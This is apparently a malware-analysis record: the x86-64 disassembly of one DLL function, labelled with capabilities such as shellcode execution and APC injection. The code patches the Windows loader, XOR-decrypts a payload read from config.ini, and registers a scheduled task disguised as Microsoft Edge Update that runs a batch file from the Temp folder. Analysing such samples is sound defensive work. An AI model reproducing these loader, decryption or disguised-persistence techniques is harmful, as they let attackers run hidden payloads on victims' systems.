Function at 0x180004f80
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Inject apc
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x3f8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x370], 0xfffffffffffffffe
cmp edx, 1
jne 0x180006d1f
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
lea rcx, [0x180043cea]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp word [rax], 0x5a4d
jne 0x18000507c
mov rsi, rax
movsxd rax, dword [rax + 0x3c]
cmp dword [rsi + rax], 0x4550
jne 0x18000507c
add rax, rsi
movzx r12d, word [rax + 6]
test r12, r12
je 0x18000507c
movzx ecx, word [rax + 0x14]
lea r14, [rax + rcx]
add r14, 0x18
cmp r12w, 1
je 0x180005054
mov r13d, r12d
shr r13d, 1
xor r15d, r15d
lea rdi, str..text
mov rbx, r14
nop dword [rax + rax]
mov rcx, rdi
mov rdx, rbx
call fcn.18001cd50
test eax, eax
je 0x180006d3b
lea rdx, [rbx + 0x28]
mov rcx, rdi
call fcn.18001cd50
test eax, eax
je 0x180006d38
add r15, 2
add rbx, 0x50
dec r13
jne 0x180005020
mov r15d, r12d
and r15d, 0xfffffffe
cmp r15, r12
je 0x18000507c
lea rax, [r15 + r15*4]
lea rdx, [r14 + rax*8]
lea rcx, str..text
call fcn.18001cd50
test eax, eax
je 0x180006d3b
xor esi, esi
mov ebx, eax
mov r14, rsi
add r14, rbx
jae 0x1800050da
lea rcx, [rsi + 6]
mov rax, rsi
jmp 0x1800050af
dec rax
dec rcx
cmp rax, r14
jb 0x18000514b
cmp byte [rcx - 6], 0x66
jne 0x1800050a0
cmp byte [rcx], 0
jne 0x1800050a0
cmp byte [rcx - 5], 0x21
jne 0x1800050a0
cmp byte [rcx - 4], 0x88
jne 0x1800050a0
cmp byte [rcx - 3], 0xee
jne 0x1800050a0
cmp byte [rcx - 2], 0x17
jne 0x1800050a0
cmp byte [rcx - 1], 0
jne 0x1800050a0
jmp 0x18000512b
cmp r14, rsi
jbe 0x18000514b
xor eax, eax
jmp 0x1800050f8
inc rax
cmp rbx, rax
je 0x18000514b
cmp byte [rsi + rax], 0x66
jne 0x1800050f0
cmp byte [rsi + rax + 6], 0
jne 0x1800050f0
cmp byte [rsi + rax + 1], 0x21
jne 0x1800050f0
cmp byte [rsi + rax + 2], 0x88
jne 0x1800050f0
cmp byte [rsi + rax + 3], 0xee
jne 0x1800050f0
cmp byte [rsi + rax + 4], 0x17
jne 0x1800050f0
cmp byte [rsi + rax + 5], 0
jne 0x1800050f0
add rax, rsi
test rax, rax
je 0x18000514b
mov ecx, dword [rax + 0x15]
mov dword [rax + rcx + 0x1a], 0
mov rax, qword gs:[0x30]
and byte [rax + 0x17ef], 0xef
mov r15, qword gs:[0x60]
lea rcx, [0x180043cea]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x180005316
mov rdi, rax
lea rdx, str.RtlLeaveCriticalSection
mov r12, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call r12
mov rcx, qword [r15 + 0x110]
call rax
lea rdx, str.LdrFastFailInLoaderCallout
mov rcx, rdi
call r12
test rax, rax
je 0x18000520f
mov ecx, dword [rax + 0x18]
mov dword [rax + rcx + 0x1d], 2
lea rdx, str.LdrGetDllFullName
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180005316
mov rcx, rax
sub rcx, 0xffffffffffffff80
jb 0x180005257
mov r8, rax
mov rdx, rax
jmp 0x1800051ef
dec rdx
dec r8
cmp rdx, rcx
jb 0x18000528f
cmp byte [r8], 0x48
jne 0x1800051e0
cmp byte [r8 + 6], 0
jne 0x1800051e0
cmp byte [r8 + 1], 0x8b
jne 0x1800051e0
cmp byte [r8 + 2], 5
jne 0x1800051e0
jmp 0x18000528a
cmp r14, rsi
jae 0x180006bb0
mov rax, rsi
jmp 0x18000522f
dec rax
dec rsi
cmp rax, r14
jb 0x1800051a7
cmp byte [rsi], 0xf0
jne 0x180005220
cmp byte [rsi + 9], 0x41
jne 0x180005220
cmp byte [rsi + 1], 0x44
jne 0x180005220
cmp byte [rsi + 2], 0xf
jne 0x180005220
cmp byte [rsi + 3], 0xb1
jne 0x180005220
cmp byte [rsi + 4], 0x35
jne 0x180005220
jmp 0x180006bfb
jae 0x1800052c4
xor edx, edx
jmp 0x18000526c
inc rdx
cmp rdx, 0x80
je 0x18000528f
cmp byte [rax + rdx], 0x48
jne 0x180005260
cmp byte [rax + rdx + 6], 0
jne 0x180005260
cmp byte [rax + rdx + 1], 0x8b
jne 0x180005260
cmp byte [rax + rdx + 2], 5
jne 0x180005260
add rdx, rax
test rdx, rdx
jne 0x180005302
cmp rax, 0xffffffffffffff80
jb 0x1800052c4
mov rdx, rax
jmp 0x1800052ab
dec rdx
dec rax
cmp rdx, rcx
jb 0x180005316
cmp byte [rax], 0x48
jne 0x1800052a0
cmp byte [rax + 6], 0
jne 0x1800052a0
cmp byte [rax + 1], 0x8b
jne 0x1800052a0
cmp byte [rax + 2], 0x1d
jne 0x1800052a0
jmp 0x1800052fd
cmp rax, 0xffffffffffffff7f
ja 0x180005316
xor ecx, ecx
jmp 0x1800052dc
inc rcx
cmp rcx, 0x80
je 0x180005316
cmp byte [rax + rcx], 0x48
jne 0x1800052d0
cmp byte [rax + rcx + 6], 0
jne 0x1800052d0
cmp byte [rax + rcx + 1], 0x8b
jne 0x1800052d0
cmp byte [rax + rcx + 2], 0x1d
jne 0x1800052d0
add rax, rcx
mov rdx, rax
test rdx, rdx
je 0x180005316
mov eax, dword [rdx + 3]
mov rax, qword [rdx + rax + 7]
mov rax, qword [rax + 0x98]
add qword [rax + 0x38], 2
lea rax, [0x1800417e8]
mov qword [rbp + 0x148], rax
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x240], xmm0
mov byte [rbp + 0x250], 0
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x1f8], rax
mov dword [rbp + 0x1f4], 0x98
mov qword [rbp + 0x150], 0
movdqu xmmword [rbp + 0x200], xmm0
mov dword [rbp + 0x210], 0x201
mov qword [rbp + 0x218], 6
movdqu xmmword [rbp + 0x220], xmm0
movdqu xmmword [rbp + 0x230], xmm0
mov ecx, 0x10
call fcn.18000e790
mov rsi, rax
mov cl, 1
call fcn.18000d928
lea rcx, [rbp + 0x158]
mov qword [rsi + 8], rax
mov qword [rbp + 0x238], rsi
mov qword [rbp + 0x240], rcx
mov qword [rbp + 0x248], 0
mov qword [rbp + 0x348], rax
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + reloc.OLEAUT32.dll_VariantClear]
lea rcx, [rbp + 0x340]
call fcn.180007aa0
mov r8, qword [rax]
mov rcx, rax
mov dl, 0x20
call qword [r8 + 0x40]
mov ebx, eax
mov rcx, qword [rbp + 0x348]
test rcx, rcx
je 0x18000540e
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x18000540e
mov r8, qword [rax]
mov rcx, rax
mov edx, 1
call qword [r8]
mov byte [rbp + 0x250], bl
cmp qword [rbp + 0x240], 0
jne 0x18000543e
mov ecx, dword [rbp + 0x208]
mov eax, dword [rbp + 0x20c]
and ecx, 0x13
or ecx, 4
mov dword [rbp + 0x208], ecx
and ecx, eax
jne 0x180006eb7
mov rax, qword [rbp + 0x148]
movsxd rax, dword [rax + 4]
lea rcx, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rax + 0x148], rcx
mov rax, qword [rbp + 0x148]
movsxd rax, dword [rax + 4]
lea ecx, [rax - 0xb0]
mov dword [rbp + rax + 0x144], ecx
lea rax, vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x158], rax
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x160], xmm0
movdqu xmmword [rbp + 0x170], xmm0
movdqu xmmword [rbp + 0x180], xmm0
movdqu xmmword [rbp + 0x190], xmm0
movdqu xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x1b0], 0
mov ecx, 0x10
call fcn.18000e790
mov rsi, rax
mov cl, 1
call fcn.18000d928
lea rdi, [rbp + 0x160]
lea r14, [rbp + 0x1a4]
lea r15, [rbp + 0x1a0]
lea r12, [rbp + 0x188]
lea rbx, [rbp + 0x180]
lea r13, [rbp + 0x168]
mov qword [rsi + 8], rax
mov qword [rbp + 0x1b8], rsi
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x158], rax
mov byte [rbp + 0x1d4], 0
mov byte [rbp + 0x1c9], 0
mov qword [rbp + 0x170], rdi
mov qword [rbp + 0x178], r13
mov qword [rbp + 0x190], rbx
mov qword [rbp + 0x198], r12
mov qword [rbp + 0x1a8], r15
mov qword [rbp + 0x1b0], r14
mov qword [rbp + 0x1a0], 0
pxor xmm0, xmm0
movdqu xmmword [rdi], xmm0
movdqu xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x1d8], 0
mov rax, qword [0x180051520]
mov qword [rbp + 0x1cc], rax
mov qword [rbp + 0x1c0], 0
lea rcx, str.config.ini
mov edx, 0x25
mov r8d, 0x40
call fcn.18000dac8
test rax, rax
je 0x1800056d1
mov byte [rbp + 0x1d4], 1
mov byte [rbp + 0x1c9], 0
mov qword [rbp + 0x170], rdi
mov qword [rbp + 0x178], r13
mov qword [rbp + 0x190], rbx
mov qword [rbp + 0x198], r12
mov qword [rbp + 0x1a8], r15
mov qword [rbp + 0x1b0], r14
mov qword [rbp + 0x1a0], 0
pxor xmm0, xmm0
movdqu xmmword [rdi], xmm0
movdqu xmmword [rbx], xmm0
mov qword [rbp + 0x340], 0
mov qword [rbp + 0x2a0], 0
mov qword [rbp + 0x320], 0
lea rdx, [rbp + 0x340]
lea r8, [rbp + 0x2a0]
lea r9, [rbp + 0x320]
mov rcx, rax
mov rsi, rax
call fcn.1800135f8
mov rax, qword [rbp + 0x320]
mov rcx, qword [rbp + 0x2a0]
mov rdx, qword [rbp + 0x340]
mov qword [rbp + 0x170], rdx
mov qword [rbp + 0x178], rdx
mov qword [rbp + 0x190], rcx
mov qword [rbp + 0x198], rcx
mov qword [rbp + 0x1a8], rax
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x1d8], rsi
mov rax, qword [0x180051520]
mov qword [rbp + 0x1cc], rax
mov qword [rbp + 0x1c0], 0
mov rax, qword [rbp + 0x1b8]
mov rcx, qword [rax + 8]
mov qword [rbp + 0x348], rcx
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rcx, [rbp + 0x340]
call fcn.180008120
mov rsi, rax
mov rax, qword [rax]
mov rcx, rsi
call qword [rax + 0x18]
test al, al
je 0x180005771
xor esi, esi
jmp 0x1800057b2
mov rax, qword [rbp + 0x148]
movsxd rdx, dword [rax + 4]
xor r8d, r8d
cmp qword [rbp + rdx + 0x190], 0
sete r8b
shl r8d, 2
mov eax, dword [rbp + rdx + 0x158]
mov ecx, dword [rbp + rdx + 0x15c]
and eax, 0x15
or eax, r8d
or eax, 2
mov dword [rbp + rdx + 0x158], eax
and eax, ecx
je 0x1800057de
test cl, 2
lea rcx, [0x180043926]
lea rdx, [0x180043910]
cmove rdx, rcx
test al, 4
lea rsi, [0x18004393b]
cmove rsi, rdx
lea rdi, [rbp + 0x2a0]
mov rcx, rdi
mov edx, 1
call fcn.180007c90
lea rcx, [rbp + 0x340]
mov rdx, rsi
mov r8, rdi
call fcn.180007d10
lea rdx, [0x18004bbe8]
lea rcx, [rbp + 0x340]
call fcn.18000ff44
mov qword [rbp + 0x170], rdi
mov qword [rbp + 0x178], r13
mov qword [rbp + 0x190], rbx
mov qword [rbp + 0x198], r12
mov qword [rbp + 0x1a8], r15
mov qword [rbp + 0x1b0], r14
mov qword [rbp + 0x1a0], 0
pxor xmm0, xmm0
movdqu xmmword [rdi], xmm0
movdqu xmmword [rbx], xmm0
mov qword [rbp + 0x1c0], rsi
mov rcx, qword [rbp + 0x348]
test rcx, rcx
je 0x1800057de
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x1800057de
mov r8, qword [rax]
mov rcx, rax
mov edx, 1
call qword [r8]
cmp qword [rbp + 0x1d8], 0
je 0x18000582a
lea rcx, [rbp + 0x340]
lea rdx, [rbp + 0x148]
call fcn.180008c90
mov rax, qword [rbp + 0x148]
movsxd rax, dword [rax + 4]
test byte [rbp + rax + 0x158], 6
je 0x1800058fb
mov qword [rbp - 0x18], 0xffffffffffffffff
pxor xmm0, xmm0
movdqu xmmword [rbp - 0x10], xmm0
jmp 0x180005921
lea rcx, str.Error_opening_file:
call fcn.180008490
lea rcx, str.config.ini
call fcn.180008490
lea rsi, [0x18004f600]
mov rax, qword [0x18004f600]
movsxd rax, dword [rax + 4]
mov rax, qword [rax + rsi + 0x40]
mov rcx, qword [rax + 8]
mov qword [rbp + 0x348], rcx
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rcx, [rbp + 0x340]
call fcn.180007aa0
mov r8, qword [rax]
mov rcx, rax
mov dl, 0xa
call qword [r8 + 0x40]
mov ebx, eax
mov rcx, qword [rbp + 0x348]
test rcx, rcx
je 0x1800058a9
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x1800058a9
mov r8, qword [rax]
mov rcx, rax
mov edx, 1
call qword [r8]
mov qword [rbp + 0x320], rsi
mov rax, qword [0x18004f600]
mov eax, dword [rax + 4]
movsxd rdx, eax
mov rcx, qword [rdx + rsi + 0x48]
test rcx, rcx
je 0x1800058da
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rax, qword [0x18004f600]
mov eax, dword [rax + 4]
movsxd rdx, eax
cmp dword [rdx + rsi + 0x10], 0
je 0x180006b6b
mov byte [rbp + 0x328], 0
mov dword [rbp + 0x368], 4
jmp 0x180006c6f
mov rcx, qword [rbp + rax + 0x190]
mov rax, qword [rcx]
mov rax, qword [rax + 0x50]
mov dword [rsp + 0x20], 1
lea rdx, [rbp - 0x18]
xor r8d, r8d
mov r9d, 1
call rax
mov rax, qword [rbp + 0x340]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
mov rcx, qword [rax + rcx + 0x48]
test rcx, rcx
je 0x18000593f
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x148]
movsxd rcx, dword [rax + 4]
xor edx, edx
cmp qword [rbp + rcx + 0x190], 0
mov eax, dword [rbp + rcx + 0x158]
sete dl
shl edx, 2
and eax, 0x16
or eax, edx
mov dword [rbp + rcx + 0x158], eax
and eax, dword [rbp + rcx + 0x15c]
jne 0x180006d60
lea rcx, [rbp + 0x320]
lea rdx, [rbp + 0x148]
call fcn.180008c90
mov rax, qword [rbp + 0x148]
movsxd rax, dword [rax + 4]
mov dword [rbp + 0x368], 0
test byte [rbp + rax + 0x158], 6
jne 0x1800059e9
mov rcx, qword [rbp + rax + 0x190]
mov rax, qword [rcx]
mov rax, qword [rax + 0x50]
mov dword [rsp + 0x20], 1
lea rdx, [rbp - 0x30]
xor r8d, r8d
xor r9d, r9d
call rax
mov rax, qword [rbp - 0x28]
add rax, qword [rbp - 0x30]
xor ecx, ecx
cmp rax, 0xffffffffffffffff
sete cl
add ecx, ecx
mov dword [rbp + 0x368], ecx
mov rax, qword [rbp + 0x148]
movsxd rcx, dword [rax + 4]
mov eax, dword [rbp + rcx + 0x158]
xor edx, edx
cmp qword [rbp + rcx + 0x190], 0
sete dl
shl edx, 2
and eax, 0x17
or eax, dword [rbp + 0x368]
or eax, edx
mov dword [rbp + rcx + 0x158], eax
and eax, dword [rbp + rcx + 0x15c]
jne 0x180006dba
mov rax, qword [rbp + 0x320]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
mov rcx, qword [rax + rcx + 0x48]
test rcx, rcx
je 0x180005a49
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x148]
movsxd rax, dword [rax + 4]
mov rsi, qword [rbp + rax + 0x190]
test rsi, rsi
sete al
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x2f0], xmm0
mov qword [rbp + 0x300], 0
xor edi, edi
jmp 0x180005a8e
dec r8d
mov dword [rdx], r8d
inc rcx
mov qword [rax], rcx
xor eax, eax
test al, al
je 0x180005aa0
test rsi, rsi
jne 0x180005ae4
jmp 0x180005c2b
test rsi, rsi
je 0x180005c2b
mov rax, qword [rsi + 0x38]
mov rax, qword [rax]
test rax, rax
je 0x180005ad0
mov rcx, qword [rsi + 0x50]
cmp dword [rcx], 0
jle 0x180005ad0
movzx edi, byte [rax]
jmp 0x180005ae4
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 0x30]
mov edi, eax
cmp eax, 0xffffffff
je 0x180005c2b
mov rbx, qword [rbp + 0x2f8]
cmp rbx, qword [rbp + 0x300]
je 0x180005b10
mov byte [rbx], dil
inc rbx
mov qword [rbp + 0x2f8], rbx
jmp 0x180005bf3
mov r15, qword [rbp + 0x2f0]
sub rbx, r15
movabs rcx, 0x7fffffffffffffff
cmp rbx, rcx
je 0x180006d51
lea r13, [rbx + 1]
mov r14, rbx
shr r14, 1
mov rax, r14
xor rax, rcx
add r14, rbx
cmp r14, r13
cmovbe r14, r13
cmp rbx, rax
cmova r14, rcx
test r14, r14
je 0x180005b81
cmp r14, 0x1000
jb 0x180005b86
cmp r14, 0xffffffffffffffd9
jae 0x180006d5b
lea rcx, [r14 + 0x27]
call fcn.18000e790
mov r12, rax
add r12, 0x27
and r12, 0xffffffffffffffe0
mov qword [r12 - 8], rax
jmp 0x180005b91
xor r12d, r12d
jmp 0x180005b91
mov rcx, r14
call fcn.18000e790
mov r12, rax
mov byte [r12 + rbx], dil
mov rcx, r12
mov rdx, r15
mov r8, rbx
call fcn.180037a90
test r15, r15
je 0x180005bd8
cmp rbx, 0x1000
jb 0x180005bcd
mov rax, qword [r15 - 8]
add r15, 0xfffffffffffffff8
sub r15, rax
cmp r15, 0x20
jae 0x180006d56
add rbx, 0x27
mov r15, rax
mov rcx, r15
mov rdx, rbx
call fcn.18000e7cc
mov qword [rbp + 0x2f0], r12
add r13, r12
mov qword [rbp + 0x2f8], r13
add r14, r12
mov qword [rbp + 0x300], r14
mov rax, qword [rsi + 0x38]
mov rcx, qword [rax]
test rcx, rcx
je 0x180005c0f
mov rdx, qword [rsi + 0x50]
mov r8d, dword [rdx]
test r8d, r8d
jg 0x180005a80
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 0x38]
cmp eax, 0xffffffff
sete al
jne 0x180005a8e
xor esi, esi
jmp 0x180005a8e
mov qword [rbp + 0x328], 0
mov qword [rbp + 0x330], 9
mov qword [rbp + 0x338], 0xf
movabs rax, 0x756b6965766f6c69
mov qword [rbp + 0x320], rax
mov byte [rbp + 0x328], 0x6e
mov r8, qword [rbp + 0x2f0]
mov rax, qword [rbp + 0x2f8]
sub rax, r8
je case.0x180005eb4.0
cmp rax, 1
mov rcx, rax
adc rcx, 0
mov qword [rbp + 0x140], rcx
movabs r15, 0xe38e38e38e38e38f
cmp rax, 8
jb 0x180005e95
mov rax, qword [rbp + 0x140]
shr rax, 3
mov qword [rbp + 0x108], rax
mov eax, 7
mov r9d, 6
mov r10d, 5
mov r11d, 4
mov r14d, 3
mov esi, 2
mov edi, 1
xor ebx, ebx
xor r13d, r13d
nop
mov qword [rbp + 0xf0], r14
mov qword [rbp + 0xe8], r11
mov qword [rbp + 0xe0], r10
mov qword [rbp + 0x368], rax
mov rax, qword [rbp + 0x368]
mul r15
shr rdx, 3
lea rax, [rdx + rdx*8]
lea rcx, [rbp + 0x327]
sub rcx, rax
mov qword [rbp + 0xf8], rcx
mov rax, r9
mul r15
mov qword [rbp + 0x100], rdx
mov rax, r10
mul r15
shr rdx, 3
lea rax, [rdx + rdx*8]
lea r10, [rbp + 0x325]
sub r10, rax
mov rax, r11
mul r15
shr rdx, 3
lea rax, [rdx + rdx*8]
lea rcx, [rbp + 0x324]
sub rcx, rax
mov rax, r14
mul r15
shr rdx, 3
lea rax, [rdx + rdx*8]
lea r12, [rbp + 0x323]
sub r12, rax
mov rax, rsi
mul r15
shr rdx, 3
lea rax, [rdx + rdx*8]
lea r14, [rbp + 0x322]
sub r14, rax
mov rax, rdi
mul r15
shr rdx, 3
lea rax, [rdx + rdx*8]
mov r11, r9
mov r9, r8
lea r8, [rbp + 0x321]
sub r8, rax
movzx eax, byte [rcx + r13*8]
movzx ecx, byte [r10 + r13*8]
mov r10, qword [rbp + 0xe0]
shl ecx, 8
or ecx, eax
mov rax, rbx
mul r15
shr rdx, 3
lea rax, [rdx + rdx*8]
neg rax
add rax, rbp
add rax, 0x320
movzx eax, byte [rax + r13*8]
movzx edx, byte [r8 + r13*8]
mov r8, r9
mov r9, r11
mov r11, qword [rbp + 0xe8]
shl edx, 8
or edx, eax
movzx eax, byte [r14 + r13*8]
mov r14, qword [rbp + 0xf0]
shl eax, 0x10
or eax, edx
movzx edx, byte [r12 + r13*8]
shl edx, 0x18
or edx, eax
movd xmm0, edx
mov rax, qword [rbp + 0x100]
shr rax, 3
lea rax, [rax + rax*8]
pinsrw xmm0, ecx, 2
lea rcx, [rbp + 0x326]
sub rcx, rax
movzx eax, byte [rcx + r13*8]
mov rcx, qword [rbp + 0xf8]
movzx ecx, byte [rcx + r13*8]
shl ecx, 8
or ecx, eax
mov rax, qword [rbp + 0x368]
pinsrw xmm0, ecx, 3
movq xmm1, qword [r8 + r13*8]
pxor xmm0, xmm1
movq qword [r8 + r13*8], xmm0
inc r13
add rax, 8
add r9, 8
add r10, 8
add r11, 8
add r14, 8
add rsi, 8
add rdi, 8
add rbx, 8
cmp qword [rbp + 0x108], r13
jne 0x180005ce0
mov rdx, qword [rbp + 0x140]
mov rcx, rdx
and rcx, 0xfffffffffffffff8
and edx, 7
lea rax, [0x18004244c]
movsxd rdx, dword [rax + rdx*4]
add rdx, rax
jmp rdx
mov rax, rcx
or rax, 6
mul r15
shr rdx, 3
lea rax, [rdx + rdx*8]
neg rax
add rax, rcx
add rax, 6
movzx eax, byte [rbp + rax + 0x320]
xor byte [r8 + rcx + 6], al
mov rax, rcx
or rax, 5
mul r15
shr rdx, 3
lea rax, [rdx + rdx*8]
neg rax
add rax, rcx
add rax, 5
movzx eax, byte [rbp + rax + 0x320]
xor byte [r8 + rcx + 5], al
mov rax, rcx
or rax, 4
mul r15
shr rdx, 3
lea rax, [rdx + rdx*8]
neg rax
add rax, rcx
add rax, 4
movzx eax, byte [rbp + rax + 0x320]
xor byte [r8 + rcx + 4], al
mov rax, rcx
or rax, 3
mul r15
shr rdx, 3
lea rax, [rdx + rdx*8]
neg rax
add rax, rcx
add rax, 3
movzx eax, byte [rbp + rax + 0x320]
xor byte [r8 + rcx + 3], al
mov rax, rcx
or rax, 2
mul r15
shr rdx, 3
lea rax, [rdx + rdx*8]
neg rax
add rax, rcx
add rax, 2
movzx eax, byte [rbp + rax + 0x320]
xor byte [r8 + rcx + 2], al
mov rax, rcx
or rax, 1
mul r15
shr rdx, 3
lea rax, [rdx + rdx*8]
neg rax
add rax, rcx
inc rax
movzx eax, byte [rbp + rax + 0x320]
xor byte [r8 + rcx + 1], al
mov rax, rcx
mul r15
shr rdx, 3
lea rax, [rdx + rdx*8]
mov rdx, rcx
sub rdx, rax
movzx eax, byte [rbp + rdx + 0x320]
xor byte [r8 + rcx], al
lea rdx, [0x180043504]
lea r8, [0x180043513]
xor ecx, ecx
xor r9d, r9d
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
xor edx, edx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 6
xor ecx, ecx
mov edx, 0xffffffff
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ole32.dll_CoInitializeSecurity]
mov qword [rbp + 0x2a8], 0
mov ecx, 0x70
call fcn.18000e790
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x2b0], 0x32
mov qword [rbp + 0x2b8], 0x37
movups xmm0, xmmword [0x180044ac4]
movups xmmword [rax + 0x50], xmm0
movups xmm0, xmmword [0x180044ab4]
movups xmmword [rax + 0x40], xmm0
movups xmm0, xmmword [0x180044aa4]
movups xmmword [rax + 0x30], xmm0
movups xmm0, xmmword [0x180044a94]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [0x180044a84]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [str.C:windowsTempMicrosoftEdgeUpdateTaskMachine.bat]
movups xmmword [rax], xmm0
mov dword [rax + 0x60], 0x740061
mov word [rax + 0x64], 0
mov qword [rbp + 0x310], 0
lea rax, [rbp + 0x310]
mov qword [rsp + 0x20], rax
lea rcx, [0x1800398c8]
lea r9, [0x1800398b8]
xor edx, edx
mov r8d, 1
call qword [sym.imp.ole32.dll_CoCreateInstance]
mov rsi, qword [rbp + 0x310]
mov r15, qword [sym.imp.OLEAUT32.dll_VariantClear]
lea rcx, [rbp + 0x340]
call r15
mov rax, qword [rbp + 0x350]
mov qword [rbp + 0x10], rax
movups xmm0, xmmword [rbp + 0x340]
movaps xmmword [rbp], xmm0
lea rcx, [rbp + 0x2d0]
call r15
mov rax, qword [rbp + 0x2e0]
mov qword [rbp + 0x30], rax
movups xmm0, xmmword [rbp + 0x2d0]
movaps xmmword [rbp + 0x20], xmm0
lea rcx, [rbp + 0x258]
call r15
mov rax, qword [rbp + 0x268]
mov qword [rbp + 0x50], rax
movups xmm0, xmmword [rbp + 0x258]
movaps xmmword [rbp + 0x40], xmm0
lea rcx, [rbp + 0x110]
call r15
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x70], rax
movdqu xmm0, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0x60], xmm0
mov rax, qword [rsi]
mov rax, qword [rax + 0x50]
mov rcx, rbp
mov qword [rsp + 0x20], rcx
lea rdx, [rbp + 0x60]
lea r8, [rbp + 0x40]
lea r9, [rbp + 0x20]
mov rcx, rsi
call rax
mov rbx, qword [sym.imp.OLEAUT32.dll_VariantCopy]
lea rsi, [rbp + 0x110]
mov rcx, rsi
call rbx
lea rcx, [rbp + 0x258]
call rbx
lea rdi, [rbp + 0x2d0]
mov rcx, rdi
call rbx
lea rcx, [rbp + 0x340]
call rbx
mov qword [rbp + 0x308], 0
mov rbx, qword [rbp + 0x310]
mov ecx, 0x18
call fcn.18000e790
mov r14, rax
mov qword [rax + 8], 0
mov dword [rax + 0x10], 1
lea rcx, [0x180044b06]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [r14], rax
test rax, rax
je 0x180006e14
mov qword [rbp + 0x340], r14
mov r9, qword [rbx]
lea r8, [rbp + 0x308]
mov rcx, rbx
mov rdx, rax
call qword [r9 + 0x38]
mov rax, r14
add rax, 0x10
lock dec dword [rax]
jne 0x18000625d
mov rcx, qword [r14]
test rcx, rcx
je 0x180006242
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [r14], 0
mov rcx, qword [r14 + 8]
test rcx, rcx
je 0x180006250
call fcn.18000e7cc
mov edx, 0x18
mov rcx, r14
call fcn.18000e7cc
mov qword [rbp + 0x130], 0
mov rbx, qword [rbp + 0x308]
mov ecx, 0x18
call fcn.18000e790
mov r14, rax
mov qword [rax + 8], 0
mov dword [rax + 0x10], 1
lea rcx, str.MicrosoftEdgeUpdateTaskMachineCN
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [r14], rax
test rax, rax
je 0x180006e25
mov qword [rbp + 0x340], r14
mov r9, qword [rbx]
lea r8, [rbp + 0x130]
mov rcx, rbx
mov rdx, rax
call qword [r9 + 0x68]
mov ebx, eax
mov rax, r14
add rax, 0x10
lock dec dword [rax]
jne 0x1800062fd
mov rcx, qword [r14]
test rcx, rcx
je 0x1800062e2
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [r14], 0
mov rcx, qword [r14 + 8]
test rcx, rcx
je 0x1800062f0
call fcn.18000e7cc
mov edx, 0x18
mov rcx, r14
call fcn.18000e7cc
test ebx, ebx
je 0x180006a1e
mov qword [rbp + 0x318], 0
mov rcx, qword [rbp + 0x310]
mov rax, qword [rcx]
lea r8, [rbp + 0x318]
xor edx, edx
call qword [rax + 0x48]
mov rcx, qword [rbp + 0x310]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [rbp + 0x2c0], 0
mov rcx, qword [rbp + 0x318]
mov rax, qword [rcx]
lea rdx, [rbp + 0x2c0]
call qword [rax + 0x38]
mov rbx, qword [rbp + 0x2c0]
mov ecx, 0x18
call fcn.18000e790
mov r14, rax
mov qword [rax + 8], 0
mov dword [rax + 0x10], 1
lea rcx, str.Microsoft_Corporation
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [r14], rax
test rax, rax
je 0x180006e36
mov qword [rbp + 0x340], r14
mov r8, qword [rbx]
mov rcx, rbx
mov rdx, rax
call qword [r8 + 0x50]
mov rax, r14
add rax, 0x10
lock dec dword [rax]
jne 0x1800063de
mov rcx, qword [r14]
test rcx, rcx
je 0x1800063c3
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [r14], 0
mov rcx, qword [r14 + 8]
test rcx, rcx
je 0x1800063d1
call fcn.18000e7cc
mov edx, 0x18
mov rcx, r14
call fcn.18000e7cc
